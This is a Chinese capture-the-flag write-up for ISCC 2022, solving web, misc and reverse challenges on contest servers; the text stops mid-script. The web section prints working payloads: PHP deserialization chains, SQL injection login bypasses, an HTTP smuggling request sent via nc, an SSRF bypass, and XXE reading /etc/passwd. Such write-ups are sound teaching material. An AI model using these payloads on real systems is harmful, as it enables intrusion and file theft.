ISCC 2022 Writeup
河南提交Writeup时间已过,今天把自己整理的WP发出来,今年和去年相比解出了更多的题,也认识了一些师傅。
WEB
冬奥会
你来参加2022届冬奥会,想知道冬奥会的主办方想告诉你什么吗?
<?php
show_source(__FILE__);
$Step1=False;
$Step2=False;
$info=(array)json_decode(@$_GET['Information']);
if(is_array($info)){
var_dump($info);
is_numeric(@$info["year"])?die("Sorry~"):NULL;
if(@$info["year"]){
($info["year"]=2022)?$Step1=True:NULL;
}
if(is_array(@$info["items"])){
if(!is_array($info["items"][1])OR count($info["items"])!==3 ) die("Sorry~");
$status = array_search("skiing", $info["items"]);
$status===false?die("Sorry~"):NULL;
foreach($info["items"] as $key=>$val){
$val==="skiing"?die("Sorry~"):NULL;
}
$Step2=True;
}
}
if($Step1 && $Step2){
include "2022flag.php";echo $flag;
}
?>
开头使用 json_decode
要求 year
不能是数字,其次就是数组 count
,也就是长度必须是 3
,然后在绕绕 array_search
就行了,简单的一批。
{"year":"a","items":[0,[1,0,1],2]}
Pop2020
大家好,我是pip美,我的朋友pop子出现了一些问题,你们能帮我找到pop子出了什么问题吗?
<?php
echo 'Happy New Year~ MAKE A WISH<br>';
if(isset($_GET['wish'])){
@unserialize($_GET['wish']);
}
else{
$a=new Road_is_Long;
highlight_file(__FILE__);
}
/***************************pop your 2022*****************************/
class Road_is_Long{
public $page;
public $string;
public function __construct($file='index.php'){
$this->page = $file;
}
public function __toString(){
return $this->string->page;
}
public function __wakeup(){
if(preg_match("/file|ftp|http|https|gopher|dict|\.\./i", $this->page)) {
echo "You can Not Enter 2022";
$this->page = "index.php";
}
}
}
class Try_Work_Hard{
protected $var;
public function append($value){
include($value);
}
public function __invoke(){
$this->append($this->var);
}
}
class Make_a_Change{
public $effort;
public function __construct(){
$this->effort = array();
}
public function __get($key){
$function = $this->effort;
return $function();
}
}
/**********************Try to See flag.php*****************************/
原题 NISACTF2022
的 POPchain
__construc() # 当一个对象创建时被调用,
__toString() # 当一个对象被当作一个字符串被调用。
__wakeup() # 使用unserialize时触发
__get() # 用于从不可访问的属性读取数据
#难以访问包括:(1)私有属性,(2)没有初始化的属性
__invoke() # 当脚本尝试将对象调用为函数时触发
题目存在 include
变量,可以尝试控制 $value
通过伪协议读取文件,那也就是是需要触发 _invoke
那么,哪里可以将对象调用为函数呢,我们可以看到有
public function __get($key){
$function = $this->effort;
return $function();
这里可以看到通过 _get
方法使得 p
这个对象被调用为 函数
可以看到,_get
方法属于 Make_a_Change
类,那么如何调用 Make_a_Change
类呢
从头看,首先 serialize
会触发 __wakeup()
,
wakeup()
方法通过 preg_match()
将 $this->page
做字符串比较,如果 $this->page
是 Road_is_Long
类,就调用了 toString()
方法;
又因为如果 $string
的 page
属性难以访问,则会调用 _get
如果 $string
是 Test
类,则不存在 page
属性
因此可以有POP链:
Try_Work_Hard::__invoke()<--Make_a_Change::__get()<--Road_is_Long::__toString()
// 流程
Road_is_Long:__wakeup.page
$page = new Road_is_Long
$string = new Make_a_Change
$effort = new Try_Work_Hard
$var='php://filter/read=convert.base64-encode/resource=flag.php';
构造EXP
<?php
class Try_Work_Hard{
protected $var='php://filter/read=convert.base64-encode/resource=flag.php';
}
class Road_is_Long{
public $page;
public $string;
}
class Make_a_Change{
public $effort;
}
$a=new Road_is_Long();
$b=new Road_is_Long();
$c=new Make_a_Change();
$d=new Try_Work_Hard();
$a -> page=$b;
$b -> string=$c;
$c -> effort =$d;
echo urlencode(serialize($a));
O%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BO%3A12%3A"Road_is_Long"%3A2%3A%7Bs%3A4%3A"page"%3BN%3Bs%3A6%3A"string"%3BO%3A13%3A"Make_a_Change"%3A1%3A%7Bs%3A6%3A"effort"%3BO%3A13%3A"Try_Work_Hard"%3A1%3A%7Bs%3A6%3A"%00%2A%00var"%3Bs%3A57%3A"php%3A%2F%2Ffilter%2Fread%3Dconvert.base64-encode%2Fresource%3Dflag.php"%3B%7D%7D%7Ds%3A6%3A"string"%3BN%3B%7D
Easy-SQL
Beaxia的邮箱地址忘记了,你能帮忙找找吗?
试了一下,id=8
时提示 Can you find beaxia's email?
,所以是找 用户8
的邮箱地址,sqlmap跑不出来,最后手注出来了。
http://59.110.159.206:7010/?id=-8 union table emails limit 7,1
请求后返回了一个 ypHeMPardErE.zip@beaxia.cn
我们直接访问 http://59.110.159.206:7010/ypHeMPardErE.zip
得到网站源码
<?php
include "./config.php";
// error_reporting(0);
// highlight_file(__FILE__);
$conn = mysqli_connect($hostname, $username, $password, $database);
if ($conn->connect_errno) {
die("Connection failed: " . $conn->connect_errno);
}
echo "Where is the database?"."<br>";
echo "try ?id";
function sqlWaf($s)
{
$filter = '/xml|extractvalue|regexp|copy|read|file|select|between|from|where|create|grand|dir|insert|link|substr|mid|server|drop|=|>|<|;|"|\^|\||\ |\'/i';
if (preg_match($filter,$s))
return False;
return True;
}
if (isset($_GET['id']))
{
$id = $_GET['id'];
$sql = "select * from users where id=$id";
$safe = preg_match('/select/is', $id);
if($safe!==0)
die("No select!");
$result = mysqli_query($conn, $sql);
if ($result)
{
$row = mysqli_fetch_array($result);
echo "<h3>" . $row['username'] . "</h3><br>";
echo "<h3>" . $row['passwd'] . "</h3>";
}
else
die('<br>Error!');
}
if (isset($_POST['username']) && isset($_POST['passwd']))
{
$username = strval($_POST['username']);
$passwd = strval($_POST['passwd']);
if ( !sqlWaf($passwd) )
die('damn hacker');
$sql = "SELECT * FROM users WHERE username='${username}' AND passwd= '${passwd}'";
$result = $conn->query($sql);
if ($result->num_rows > 0) {
$row = $result->fetch_assoc();
if ( $row['username'] === 'admin' && $row['passwd'] )
{
if ($row['passwd'] == $passwd)
{
die($flag);
} else {
die("username or passwd wrong, are you admin?");
}
} else {
die("wrong user");
}
} else {
die("user not exist or wrong passwd");
}
}
mysqli_close($conn);
?>
username=-1' union select 1,'admin',2#&passwd=2
-------------------------------------------------
username=admin1' union select 'admin','admin','admin'#&passwd=admin
让我康康!
阿伟说他藏flag超勇的,彬彬托你帮他找出阿伟藏的flag
原题:http://www.hackdig.com/10/hack-519692.htm
payload
echo "GET / HTTP/1.1\r\nHost: localhost\r\nContent-Length: 90\r\nSec-Websocket-Key1: x\r\n\r\nxxxxxxxxGET /fl4g HTTP/1.1\r\nHost: localhost\r\nsecr3t_ip:127.0.0.1\r\nContent-Length: 55\r\n\r\nGET / HTTP/1.1\r\nHost: 127.0.0.1:80\r\n\r\n" | nc 59.110.159.206 7020
爱国敬业好青年-2
这位爱国敬业好青年在哪呢?
根据题干和题目得知要提交位置坐标,这题又和 爱国敬业好青年-1
有关联,虽然一直是 0
解,但不影响我解开这题,上一题中有张天安门的图片,直接提交天安门的坐标试试。
<div style="text-align: center;width: 100%;height: 100%;position: absolute;top: -0px;left: -0px;z-index: 1">
<form class="form" id="a-form" method='POST' action="flag">
<b style="font-size: 15px"> </b><br>
<label>Latitude:</label><input style="margin-left: 20px;width: 110px" type="text" name="lati" required> <br>
<label>Langtitude: </label><input style="width: 110px;margin-left: 5px" type="text" name="langti" required><br>
<button type="submit" id='true_button' disabled ='true'>提交</button>
<p>经纬度示例:177°30'E, 25°33'N<a style ="border:none;cursor:default;" onclick="return false" href="info"></a>!</p>
</form>
</div>
使用题目内置的表单提交会出问题(也可能是出题人故意留的),我们直接提取出有用的信息 PSOT
请求 /flag
,然后经度是 lati
,维度是 langti
,直接 hackbar
发出去就行了。
一开始 hackbar
发的好好的,但是一会能出flag一会出不来flag,我麻了,直接 python
循环一百次!
import requests
data = {
'langti': '39°54′N',
'lati': '116°23′E'
}
url = 'http://59.110.159.206:8020/flag'
for i in range(0, 100):
r = requests.post(url, data=data)
print(r.text)
findme
从赛博朋克的不夜城中找到你想要的秘密吧
打开环境一张赛博朋克图片,在源代码里看到注释了 unser.php
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Where am I</title>
</head>
<body>
<img src="1.png" width="100%" height="100%"> <br>
<!--/unser.php-->
</body>
</html>
访问后得到题目源码
<?php
highlight_file(__FILE__);
class a{
public $un0;
public $un1;
public $un2;
public $un3;
public $un4;
public function __destruct(){
if(!empty($this->un0) && empty($this->un2)){
$this -> Givemeanew();
if($this -> un3 === 'unserialize'){
$this -> yigei();
}
else{
$this -> giao();
}
}
}
public function Givemeanew(){
$this -> un4 = new $this->un0($this -> un1);
}
public function yigei(){
echo 'Your output: '.$this->un4;
}
public function giao(){
@eval($this->un2);
}
public function __wakeup(){
include $this -> un2.'hint.php';
}
}
$data = $_POST['data'];
unserialize($data);
<?php
Class a{
public $un0='SplFileObject';
public $un1='php://filter/read=convert.base64-encode/resource=hint.php';
public $un2='';
public $un3='unserialize';
public $un4='';
}
$data = new a;
echo urlencode(serialize($data));
?>
data=O:1:"a":5:{s:3:"un0";s:13:"SplFileObject";s:3:"un1";s:57:"php://filter/read=convert.base64-encode/resource=hint.php";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
请求后页面新增回显
Your output: PD9waHANCiRhID0gJ2ZsYWflnKjlvZPliY3nm67lvZXkuIvku6XlrZfmr41m5byA5aS055qEdHh05LitLOaXoOazleeIhuegtOWHuuadpSc7
base64
解码后得到
<?php
$a = 'flag在当前目录下以字母f开头的txt中,无法爆破出来';
<?php
Class a{
public $un0='GlobIterator';
public $un1='f*.txt';
// 使用DirectoryIterator也行
// public $un0='DirectoryIterator';
// public $un1='glob://f*.txt';
public $un2='';
public $un3='unserialize';
public $un4='';
}
$data = new a;
echo urlencode(serialize($data));
?>
data=O:1:"a":5:{s:3:"un0";s:12:"GlobIterator";s:3:"un1";s:6:"f*.txt";s:3:"un2";N;s:3:"un3";s:11:"unserialize";s:3:"un4";N;}
请求后页面新增回显
Your output: fA07TE_G19nde_OR1Der5r.txt
直接访问:http://59.110.159.206:8030/fA07TE_G19nde_OR1Der5r.txt 得到flag
这是一道代码审计题
遇到问题读源代码
访问题目页面显示 /index
请求后一直 404
…突然发现 cookies
有个 login
参数,直接 0
改为 1
页面显示正常了(我在Chrome需要改login参数而在Edge则直接不需要修改
根据题目要求构建请求参数 /index?url=127.0.0.1
源代码中得到一段 base100
编码,解码后得到题目源码。
def geneSign():
if(control_key==1):
return render_template("index.html")
else:
return "You have not access to this page!"
def check_ssrf(url):
hostname = urlparse(url).hostname
try:
if not re.match('https?://(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if not re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
raise BaseException("url format error")
if re.match('https?://@(?:[-\w.]|(?:%[\da-fA-F]{2}))+', url):
if judge_ip(hostname):
return True
return False, "You not get the right clue!"
else:
ip_address = socket.getaddrinfo(hostname,'http')[0][4][0]
if is_inner_ipaddress(ip_address):
return False,"inner ip address attack"
else:
return False, "You not get the right clue!"
except BaseException as e:
return False, str(e)
except:
return False, "unknow error"
def ip2long(ip_addr):
return struct.unpack("!L", socket.inet_aton(ip_addr))[0]
def is_inner_ipaddress(ip):
ip = ip2long(ip)
print(ip)
return ip2long('127.0.0.0') >> 24 == ip >> 24 or ip2long('10.0.0.0') >> 24 == ip >> 24 or ip2long('172.16.0.0') >> 20 == ip >> 20 or ip2long('192.168.0.0') >> 16 == ip >> 16 or ip2long('0.0.0.0') >> 24 == ip >> 24
def waf1(ip):
forbidden_list = [ '.', '0', '1', '2', '7']
for word in forbidden_list:
if ip and word:
if word in ip.lower():
return True
return False
def judge_ip(ip):
if(waf1(ip)):
return Fasle
else:
addr = addr.encode(encoding = "utf-8")
ipp = base64.encodestring(addr)
ipp = ipp.strip().lower().decode()
if(ip==ipp):
global control_key
control_key = 1
return True
else:
return False
很明显是构建 SSRF
,加个 @
绕过 waf
并把127.0.0.1
base64
编码一下构造绕过 /index?url=http://@MTI3LjAuMC4x
访问 /mti3ljaumc4x
同时按照题目要求设置好 Cookie
。
测试发现存在 XXE
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///etc/passwd">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>
直接拿到FLAG
POST /mti3ljaumc4x/codelogin HTTP/1.1
Host: 59.110.159.206:8040
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Cookie: login=0; a_cookie=aW4gZmFjdCBjb29raWUgaXMgdXNlZnVsIQ==
Content-Length: 163
<?xml version="1.0"?>
<!DOCTYPE user[
<!ENTITY name SYSTEM "file:///proc/self/cwd/flag.txt">]>
<user>
<name>&name;</name>
<password>&name;</password>
</user>
MISC
单板小将苏翊鸣
在此次冬季奥运会项目中,17岁的单板小将苏翊鸣在单板项目中获得一金一银的优异成绩,打破了多年来中国队的历史最好成绩,为中国队此次冬奥之行锦上添花。
打开后俩文件 原图.png
和 加密压缩包flag.rar
,很明显图片缺半截,我们直接高度改为 1000px
多出来的像素出现了二维码,直接扫码,得到一段 unicode
,解密后得到
在这次冬奥会的舞台上,我国小将苏翊鸣斩获一金一银,那你知道此次冬奥会我国总共获得几枚奖牌吗?又分别是几金几银几铜呢?
根据提示搜索一番,得到 flag.rar
解压密码 15942
其实这种弱密码我觉得爆破更快一些2333,解压后得到flag。
降维打击
降维打击
附件图片是《魔女之旅》中的伊蕾娜,我们用 foremost
分离出另一张图片
然后使用 zsteg 文件名 -a
命令发现 b1,r,lsb,yx
还有一张 png
图片
我们使用 zsteg -E 'b1,r,lsb.yx' 文件名 > flag.png
提取出这张图片
根据图片名百度 魔女之旅 文字
找到了两篇文章
《魔女之旅》文字破解:https://www.bilibili.com/read/cv7855745
《魔女之旅》文字破解·印刷体:https://www.bilibili.com/read/cv8724055
重要的就是下面那两张图,直接对比出来相应的英文大写字母即可(眼都看瞎了),flag格式:ISCC{--****}
藏在星空中的诗-1
漫天的繁星也许是一首美丽的诗!(建议使用winRAR)
下载后三个附件 Stars.psd
、Poem.txt
和 加密压缩包Poem_is_the_Key.zip
Ps打开Stars.psd
文件,图层1
不透明度改为 100
,发现出来一个有箭头指向的星星
我们直接把 Poem.txt
通过上面星星的指向顺序 13524
排列出 Poem_is_the_Key.zip
的解压密码(一定要用Winrar,其他解压软件应该不支持这种密码)。
压缩包解密后得到一个表格
然后把 Poem.txt
里面的星星,对照着表格中的字母敲出来,第一行为 FLAG=
,第二行为 ISCC{
,依此对照敲出 三四五
行
Flag格式:ISCC{14个大写字符}
真相只有一个
misc是英文miscellaneous的前四个字母,表示有杂项、混合体、大杂烩的意思,题目思路广,模式不定,线索众多,在这些线索中有的有用有的没用,最终的真相只有一个。
打开 flag.txt
全选后发现有点像 snow
,解密密码猜了一下,直接 snow.exe -C -p isccmisc flag.txt
,得到flag
小光学AI
小光同学最近在学习人工智能技术,看了周志华老师的西瓜书后,感觉自己又行了。 这次他找来了三种水果的图片:黄瓜、茄子和蘑菇,研究的第一步是区分这三种水果,将三种水果分类;第二步是图像分割,选中目标区域,目标区域指的是能够覆盖图片中水果区域的最小矩形。 做完后小光同学计算出了三种水果目标区域的像素和A,B,C(0<A,B,C<10^9),发现这些像素和可以化简到x:y:z,其中(0<x,y,z<10),你可以找到A,B,C三者的实际值之比吗(格式A:B:C)?
Flag格式:ISCC{XXX}
没学过AI,题干也没看懂直接按照题目中提到的格式生成字典爆破
out = []
fp = open("encode.txt", "w+", encoding="ANSI")
for i in range(1 ,10):
for j in range(1, 10):
for m in range(1, 10):
for n in range(10000,100000):
fp.write("{0}:{1}:{2}\n".format(i*n, j*n, m*n))
print("Done")
解压密码
37035:49380:61725
2022冬奥会
2022冬奥会在北京举办,身为东道主的你知道此次冬奥会的吉祥物分别是谁吗?并且你知道这两只冬奥会的吉祥物最初设计的原型分别是什么吗?我只能提示你其中有一只的原型是我们的国宝哦。
这题没什么好说的,冰墩墩原型是熊猫,雪容融原型是灯笼,所以解压密码是:灯笼
解压之后记事本打开图片,得到flag
藏在星空中的诗-2
漫天的繁星也许是另一首美丽的诗!
打开后如图所示,和 藏在星空中的诗-1
差不多,直接对照着 藏在星空中的诗-1
中的表格敲出密文。
\QTTPU\QTTED\QTTPD\QTTPD\QTTKB\QTTPK\QTTFB\QTTPD\QTTFK\QTTFO\QTTKT\QTTFE\QTTKG\QTTKD\QTTFU\QTTPG\QTTDU\QTTKU\QTTPK\QTTKH
然后 QTT
批量替换为 u00
,然后对照着表格进行解密。示例 QYYPU = u0049
最后得到一段 unicode
,直接解密即可
\u0049\u0053\u0043\u0043\u007B\u0047\u006B\u0043\u0067\u006F\u0070\u0065\u007A\u0073\u0069\u004A\u0039\u0079\u0047\u007D
隐秘的信息
乐乐在开始做作业时,遇到了一串ZWFzeV90b19maW5kX3RoZV9mbGFn字符串,研究了一番,什么都没有发现。乐乐能找到隐秘的信息并完成作业吗?
题干中的字符串是 base64
编码,直接解密得到压缩包的解压密码 easy_to_find_the_flag
,使用 StegSolve
发现图片是 LSB
隐写(R0/G0/B0
),直接复制我选中的字符串,如下所示。
删掉右侧多余的乱码字符串,只保留左侧的16进制代码,如下所示。
fff495343437b6b5 4336a74507377355 23759365270796a4 e7a307dc01f8007f fffc7e3fe00fff00 71
使用 CyberChef
先 From Hex
在 To Binary
得到一串二进制代码。
直接把前面的 1
删掉,然后再 From Binary
转换为字符串就会出现flag。
套中套
亲爱的CTFer走到一个巨大的盒子前,上面写满了0和1,却也看不出个所以然。仔细看了半夜,才在字缝中看出来,整个盒子都写着“套中套”……
下载附件得到俩文件 tzt.png
和加密压缩包 tzt2.zip
,打开 png
提示文件损坏,010编辑器打开在末尾发现一段 base64
,解码后得到flag2: _ISCC_Zo2z
。
然后很明显看到缺了文件头,直接补上 89504e470d0a1a0a0000000d
,正常打开图片… 啥也没有。
直接修改 高度
得到 wELC0m3_
尝试了各种组合,还是解不开压缩包,也得不到 flag3
在哪,最后靠学弟猜出了完整的字符串:wELC0m3_T0_tH3_ISCC_Zo2z
,使用这段字符串解压压缩包。
解压后得到一堆文件,百度了一番发现是原题(背包加密):https://ctf-wiki.org/crypto/asymmetric/knapsack/knapsack/#_9 ,直接用脚本一把梭了。
直接把解压后 pub.Key
和 enc.txt
文件内容填入下面的脚本中。然后使用 https://sagecell.sagemath.org/ 在线运行。
pubKey =
nbit = len(pubKey)
encoded =
A = Matrix(ZZ, nbit + 1, nbit + 1)
for i in range(nbit):
A[i, i] = 1
for i in range(nbit):
A[i, nbit] = pubKey[i]
A[nbit, nbit] = -(encoded)
res = A.LLL()
for i in range(0, nbit + 1):
M = res.row(i).list()
flag = True
for m in M:
if m != 0 and m != 1:
flag = False
break
if flag == True:
M = ''.join(str(j) for j in M)
M = M[:-1]
M = hex(int(M, 2))[2:]
print(hex(int(M,16)))
然后直接十六进制转字符串即可
666
小孔同学最近新加入了一个实验室,作为一名菜鸡,每天的重要工作之一就是给大佬喊666。不过如今喊666的方式也要创新,你有什么好的办法吗?
注:本题结果X加上ISCC{}写作ISCC{X}
压缩包有伪加密,直接修复一下
解压后得到加密压缩包 flag.rar
和 一张熊本熊的图片,使用 steghide
解密熊本熊图,密码随便试了个弱口令成功了
得到半截 png
图片,图片高度修改为 300
得到压缩包密码 !@#$%678()_+
解压压缩包后得到 stream.pcapng
,看到了里面有 http
请求,我们直接导出 http
请求
在json文件中发现一个网址
打开 https://www.cnblogs.com/konglingdi/p/14998301.html
发现一张千与千寻的图,而且可以看到有东西一闪而过了
第七帧
SElERWtleTo4NTIgOTg3NDU2MzIxIDk4NDIzIDk4NDIzIFJFQUxrZXk6eFN4eA==
base64解密后得到
HIDEkey:852 987456321 98423 98423 REALkey:xSxx
852 987456321 98423
通过手机九键键盘加密可以得出 ISCC
,大概就是下面这个意思
第16帧
pQLKpP/
第26帧
EPmw301eZRzuYvQ==
第 16
帧和第26
帧拼接到一块,然后 AES
解密,密码 ISCC
,得到flag
REVERSE
Amy’s Code
代码好像有点眼熟?
ida x32
打开,直接定位到 sub_412550
,F5
查看伪代码。
v9 = [0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
# v9[0] - v9[19]
v9[0] = 149;
v9[1] = 169;
v9[2] = 137;
v9[3] = 134;
v9[4] = 212;
v9[5] = 188;
v9[6] = 177;
v9[7] = 184;
v9[8] = 177;
v9[9] = 197;
v9[10] = 192;
v9[11] = 179;
v9[12] = 153;
v9[13] = 163;
v9[14] = 195;
v9[15] = 137;
v9[16] = 112;
v9[17] = 189;
v9[18] = 110;
v9[19] = 184;
str1 = 'LWHFUENGDJGEFHYDHIGJ'
flag = ''
for i in range(len(str1)):
flag += chr(v9[i] - ord(str1[i])^i)
print(flag)
How_decode
只要你输入的是正确答案,程序就会告诉你,你是对的,加油
ida x64
打开,直接定位到 main
函数,F5
查看伪代码。
Encode函数
把 v2
加密了,加密后的 v2
数组和 p_v1
数组进行比较(全部相等输出正确)
encode(v2, n, k);
for ( i_0 = 0; i_0 < n; ++i_0 )
{
if ( *((_DWORD *)p_v1 + i_0) != v2[i_0] )
goto LABEL_2;
}
printf("Your input is the right answer!");
通过开头这一段我们能够拿到 p_v1
数组即加密后的 v2
,用于加密的 k
和长度 n
n1 = 18;
v11 = 17i64;
v3 = alloca(80i64);
p_v1 = (int (*)[])(4 * (((unsigned __int64)v2 + 3) >> 2));
v4 = p_v1;
*(_DWORD *)p_v1 = 646664799;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1563984516;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 5403868;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -851615406;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1577982033;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1112569621;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -2038538024;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 89732896;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 856644365;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1143066723;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 1826125009;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 947398586;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -204891967;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -1909151093;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 632925486;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = 381866701;
v4 = (int (*)[])((char *)v4 + 4);
*(_DWORD *)v4 = -976384688;
*((_DWORD *)v4 + 1) = -1681924957;
k[0] = 73;
k[1] = 83;
k[2] = 67;
k[3] = 67;
进入加密函数 encode
可以看出来是一个 XXTEA加密
或者通过 findcrypt
插件也可以看出来
void __cdecl encode(int *v, int n, const int *key)
{
int *v4; // rax
int *v5; // rax
int y; // [rsp+8h] [rbp-18h]
int e; // [rsp+Ch] [rbp-14h]
int rounds; // [rsp+10h] [rbp-10h]
int p; // [rsp+14h] [rbp-Ch]
int sum; // [rsp+18h] [rbp-8h]
int z; // [rsp+1Ch] [rbp-4h]
rounds = 52 / n + 6;
sum = 0;
for ( z = v[n - 1]; rounds--; z = *v5 )
{
sum -= 1640531527;
e = (sum >> 2) & 3;
for ( p = 0; p < n - 1; ++p )
{
y = v[p + 1];
v4 = &v[p];
*v4 += ((y ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * y) ^ (z >> 5)) + ((y >> 3) ^ (16 * z)));
z = *v4;
}
v5 = &v[n - 1];
*v5 += ((*v ^ sum) + (z ^ key[e ^ p & 3])) ^ (((4 * *v) ^ (z >> 5)) + ((*v >> 3) ^ (16 * z)));
}
}
找一个解密算法
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(int32_t *v, int n, int32_t const key[4])
{
int32_t y, z, sum;
signed p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
编写解密脚本即可
#include <stdio.h>
#include <stdint.h>
#define DELTA 0x9e3779b9
#define MX (((z>>5^y<<2) + (y>>3^z<<4)) ^ ((sum^y) + (key[(p&3)^e] ^ z)))
void btea(int32_t *v, int n, int32_t const key[4])
{
int32_t y, z, sum;
signed p, rounds, e;
if (n > 1) /* Coding Part */
{
rounds = 6 + 52/n;
sum = 0;
z = v[n-1];
do
{
sum += DELTA;
e = (sum >> 2) & 3;
for (p=0; p<n-1; p++)
{
y = v[p+1];
z = v[p] += MX;
}
y = v[0];
z = v[n-1] += MX;
}
while (--rounds);
}
else if (n < -1) /* Decoding Part */
{
n = -n;
rounds = 6 + 52/n;
sum = rounds*DELTA;
y = v[0];
do
{
e = (sum >> 2) & 3;
for (p=n-1; p>0; p--)
{
z = v[p-1];
y = v[p] -= MX;
}
z = v[n-1];
y = v[0] -= MX;
sum -= DELTA;
}
while (--rounds);
}
}
int main()
{
int32_t v[18];
v[0] = 2083504789;
v[1] = 863817516;
v[2] = -1246907673;
v[3] = 861360817;
v[4] = -1944023979;
v[5] = 71509067;
v[6] = -305568114;
v[7] = 1203113234;
v[8] = 39999966;
v[9] = 1408413502;
v[10] = -797353570;
v[11] = -84516483;
v[12] = 1904288836;
v[13] = 1737869011;
v[14] = 492860697;
v[15] = 2091909920;
v[16] = 1335943054;
v[17] = 125072142;
int32_t const k[4]= {0x49, 0x53, 0x43, 0x43};
int n= 18;
// n的绝对值表示v的长度,取正表示加密,取负表示解密
// v为要加密的数据是两个32位无符号整数
// k为加密解密密钥,为4个32位无符号整数,即密钥长度为128位
btea(v, -n, k);
printf("解密后的数据:%u %u\n",v[0],v[1]);
for(int i=0;i<18;i++){
printf("%c",v[i]);
}
return 0;
}
Sad Code
就是喜欢做题,你喜欢做数学题吗?
ida x32
打开,定位到 _main_0
,F5
查看伪代码。
from z3 import *
#报错的装Z3-solver 不要用z3
v16=[Int("v16%s"%i) for i in range(8)]
s=Solver()
s.add(v16[2] + 7 * v16[1] - 4 * v16[0] - 2 * v16[3] == 0x1F675FCBE)
s.add(5 * v16[3] + 3 * v16[2] - v16[1] - 2 * v16[0] == 0x16ECB525D)
s.add(2 * v16[1] + 8 * v16[3] + 10 * v16[0] - 5 * v16[2] == 0x48AD213F9)
s.add(7 * v16[0] + 15 * v16[1] - 3 * v16[3] - 2 * v16[2] == 0x7AB246ADD)
s.add(15 * v16[4] + 35 * v16[7] - v16[5] - v16[6] == 0xEE83D143C)
s.add(38 * v16[6] + v16[4] + v16[7] - 24 * v16[5] == 0x24FA58FB1)
s.add(38 * v16[5] + 32 * v16[4] - v16[6] - v16[7] == 0x15503BC5DF)
s.add(v16[4] + 41 * v16[6] - v16[5] - 25 * v16[7] == 0x2922F20B4)
v4=[]
if(s.check()==sat):
m=s.model()
for i in range(8):
v4.append(hex(int(str(m[v16[i]])))[2:])
print(v4)
for i in range(8):
for j in range(4):
print(chr(int(v4[i][j*2:j*2+2],16)),end="")
Ruststr
图非图,字非字。
ida x64
打开,定位到 iscc_reverse::main
,F5
查看伪代码,有个 qmecpy
函数。
放入 base64
转 hex
脚本并 两个
为一节作为 0xXX
格式和第二个脚本的上下数列格式相同
import base64
a=r'5D2AJMcNo7oAxwWMZJdOCj5LUQePeWBbmw=='
b=[20,19,12,11, 4,3,21,18,13,10,5,2,22,17,14,9,6,1,23,16,15,8,7,0]
for i in b:
print(a[i],end="")
flag =""
def base64_to_hex(payLoad_base64):
bytes_out = base64.b64decode(payLoad_base64)
str_out = bytes_out.hex()
print("base64_ to_ hex:",str_out)
print(str_out)
c = []
for k in str_out:
c.append('0x' + str_out[0:2])
str_out = str_out[2:]
print(c)
return str_out
base64_to_hex(a)
然后将结果输入以下
b = [
0x9A, 0x78, 0xB6, 0x12, 0xBE, 0x66, 0x8D, 0xCF, 0x51, 0x9E,
0x63, 0xCB, 0x4A, 0xD1, 0x1A, 0x59, 0x78, 0x1C, 0x17, 0x73,
0xF2, 0x1D, 0x05, 0x2F, 0xF0, 0xD7, 0xB3, 0x22, 0x5D, 0xAD,
0x0B, 0xE2
]
c = [0xe4, 0x3d, 0x80, 0x24, 0xc7, 0x0d, 0xa3, 0xba, 0x00, 0xc7, 0x05, 0x8c, 0x64, 0x97, 0x4e, 0x0a, 0x3e, 0x4b, 0x51, 0x07, 0x8f, 0x79, 0x60, 0x5b, 0x9b] # 这里填写是base64解码后的hex 来源是有个qmemcpy函数那里
m = []
for i in range(len(c)):
m.append(c[i]^b[i])
key = [0x32, 0x63, 0x65, 0x61, 0x39, 0x66, 0x30, 0x34, 0x63, 0x36, 0x33, 0x62,
0x34, 0x32, 0x38, 0x33, 0x39, 0x34, 0x30, 0x65, 0x63, 0x30, 0x65, 0x36, 0x64,
0x32, 0x39, 0x62, 0x65, 0x32, 0x38, 0x64]
def lll(a,b):
if a>b:
return 0
else:
return -1
f = ''
for i in range(len(m)):
for j in range(128):
